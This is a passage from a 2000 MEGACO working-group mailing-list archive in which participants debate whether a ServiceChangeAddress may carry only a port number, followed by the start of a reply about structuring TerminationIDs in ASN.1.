        <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; - Bharat</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; -----Original
        Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; From:
        Flemming Andreasen [<A
        href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Sent: Tuesday, September 05,
        2000 8:29 AM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; To:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; Subject: Re: Supplying only a port on a
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Let's take a step
        back here and ask ourselves what we are</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; trying to achieve:</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; 1. We have a
        need to identify the entity we wish to</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; communicate with</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        2. We have a need to communicate with that entity.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; This is a classical naming issue that doesn't need to</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; become overly</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; complicated. In order to get from the
        name in 1 to the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; address (or
        route) in</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; 2, you need
        to perform name resolution in the cases where</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; the name itself is</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; not an address. For domain names, this
        name resolution is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; achieved
        by DNS,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; for
        IP-addresses, it should normally be a NOP. By having both</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; ServiceChangeMGGId and
        ServiceChangeAddress, you are</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; effectively providing</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; an alternate name resolution mechanism which overrides DNS</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; and allows one</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; IP-address to map to another. We should
        not be doing that,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; and I
        also note</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; that this was
        probably not the authors' intent, since</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; and ServiceChangeMGCId are not both allowed in a
        </FONT><BR><FONT size=2>&gt; single command.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; That still leaves open the question of exactly what</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; then is, and I believe Brian
        answered that earlier with his</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; two proposals.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; In
        a perfect world, I would prefer getting rid of</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress, but</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; we may be beyond that. Does it make
        sense to allow just a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; port
        number then ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        Considering that we already allow for port in mId, port is</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; part of the name</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; and for the same reasons as we shouldn't
        map one IP-address</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; to
        another, we</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; shouldn't
        map one port to another either IMO. If the MGC</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; (or MG) wants the</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; other party to talk to it on another
        port, it simply sends</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; back
        another</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        ServiceChangeMGCId with that port number in it.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; "Rosen, Brian"
        wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; It depends on what you want to have
        happen.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; If you want the MG, on
        receipt of a reply with a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeAddress,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; to tear down it's current transport connection, create</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; a new one,</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; and stand by for messages from the MGC, then I
        suppose</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; you would be</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; correct.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; If it was TCP (and I guess SCTP), this is pretty
        weird,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; because the</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; MG established a full
        duplex connection, but the </FONT><BR><FONT size=2>&gt; next message
        is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; almost
        certainly from the MGC.&nbsp; The MGC is going to have</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; to watch for</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; this carefully, and not send messages until the
        new</FONT> <BR><FONT size=2>&gt; &gt; &gt; channel is up.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; Or, the MGC can just use
        ServiceChangeMid.&nbsp; The MG will</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; respond by</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        tearing down the transport, establishing a new one, </FONT><BR><FONT
        size=2>&gt; and sending</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; a new ServiceChange.&nbsp; The MGC "fires and forgets" -- the
        new</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; ServiceChange,
        at the "new" address, looks like a</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; complete new start.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; -----Original
        Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; From:
        Christian Groves</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; Sent: 9/3/00 7:38 PM</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a port
        on a ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; G'Day
        Brian and Flemming,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; I saw that
        the difference between when you use</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; ServiceChangeAddress and</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; ServiceChangeMid was that the ServiceChangeAddress
        was</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; used when talking</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; to an already contacted
        physical MGC. The</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeMid was used to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; contact a physically seperate MGC. So I don't see
        </FONT><BR><FONT size=2>&gt; the need of</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; disallowing anything but the port in IP as the
        MGC may</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; have a range
        of</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        addresses.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; Cheers, Christian</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; "Rosen, Brian" wrote:</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I thought you might say that,
        I've been thinking about it</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; since I sent the message.</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; Posing the question slightly differently, if
        the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; can do what ServiceChangeMid can do, so why have two</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; mechanisms?</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; The only difference would be the MGs
        actions.&nbsp; If you used</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; ServiceChangeAddress,</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; the MG would not send a new ServiceChange
        command to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; the new
        address.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; If
        you used ServiceChangeMid, it would.&nbsp; The end result</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; would be the</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; same.</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; We can:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        Explicitly disallow ServiceChangeAddress from</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; being used to</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt;
        &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        change anything but IP Port when </FONT><BR><FONT size=2>&gt; used with
        IP</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get rid of one of
        the two of them</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I favor
        the former, as that is easiest, is most</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; consistent with</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; history, and makes the most sense to me.&nbsp; I'll
        </FONT><BR><FONT size=2>&gt; note that what</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; we call ServiceChangeAddress used to be
        "port".&nbsp; It got</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; changed when we realized "port" wouldn't make </FONT><BR><FONT
        size=2>&gt; sense if it was</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; not an IP transport.</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
        href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent: Tuesday,
        August 29, 2000 7:37 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; To: Rosen, Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re:
        Supplying only a port on a </FONT><BR><FONT size=2>&gt;
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; I think the issue is that you can have the same
        MGC</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; have multiple</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; IP
        addresses.&nbsp; You accept the association, but</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; change the address.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Say, a pool of
        servers appearing to be one MGC.</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; I'm not sure I fully understand what an
        </FONT><BR><FONT size=2>&gt; association is then.</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; What's the</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        difference/relationship between the association</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; address and the</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; ServiceChangeMgcId (which may itself
        contain an </FONT><BR><FONT size=2>&gt; address or</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; indirectly</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; refer to a number of
        addresses through DNS) ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; -----Original Message-----</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; From: Flemming
        Andreasen [<A
        href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent:
        Tuesday, August 29, 2000 6:38 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; To: Rosen, Brian</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cc:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a
        port on a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; "Rosen, Brian"
        wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; Suppose all you want to specify in a</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; is a
        port number</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; that is, the IP address doesn't change, but
        the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; port does.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; The ABNF sez:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; serviceChangeAddress =</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddressToken EQUAL
        VALUE</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; This is because it could be IP, ATM, FR,
        MPLS....</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; The example shows just a port number.</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; Actually, I thought that's all that would be</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; allowed in the</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; case of IP. If</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; not,
        how can it be within the "context of the</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; association</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; currently being</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; negotiated", and how would
        it then relate to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        ServiceChangeMgcId</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Should
        that be legal?&nbsp; Should you have to</FONT> <BR><FONT size=2>&gt;
        &gt; &gt; specify the IP</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        &gt; &gt; address</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; &gt; as x.x.x.x:p?</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
        Flemming Andreasen</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt; Cisco Systems</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
        &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
        &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; --</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
        --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; Flemming Andreasen</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; --</FONT> <BR><FONT
        size=2>&gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt; Cisco
        Systems</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
        </FONT><BR><FONT size=2>&gt;
</FONT></P></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C018DA.C267BED0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep  7 11:21:19 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18456
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 7 Sep 2000 11:21:19 -0400 (EDT)
Received: from standards (47.234.32.16:4181) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9131B@standards.nortelnetworks.com>; Thu, 7 Sep 2000 11:03:45 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22646 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 7 Sep 2000 11:03:45 -0400
Received: from qhars002.nortel.com (47.101.112.102:46928) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9131A@standards.nortelnetworks.com>; Thu, 7 Sep 2000
          11:03:45 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Thu, 7 Sep 2000 16:16:14 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Thu, 7 Sep 2000 09:40:49 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SNLGM40S>; Thu, 7 Sep 2000 09:38:21 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C018D9.4234F2B0"
Message-ID:  <28560036253BD41191A10000F8BCBD11480D3A@zcard00g.ca.nortel.com>
Date:         Thu, 7 Sep 2000 09:38:16 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: TerminationID in ASN1
X-To:         SSM <ssm@CHIPLOGIC.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C018D9.4234F2B0
Content-Type: text/plain;
        charset="iso-8859-1"

Reserve ranges of the high-order portion of the terminationId to designate
the termination type and group, and use the remaining bits to designate the
individual termination.

> -----Original Message-----
> From: SSM [mailto:ssm@CHIPLOGIC.COM]
> Sent: Thursday, September 07, 2000 9:03 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: TerminationID in ASN1
>
>
> Hi,
> With reference to text in section 6.2.2
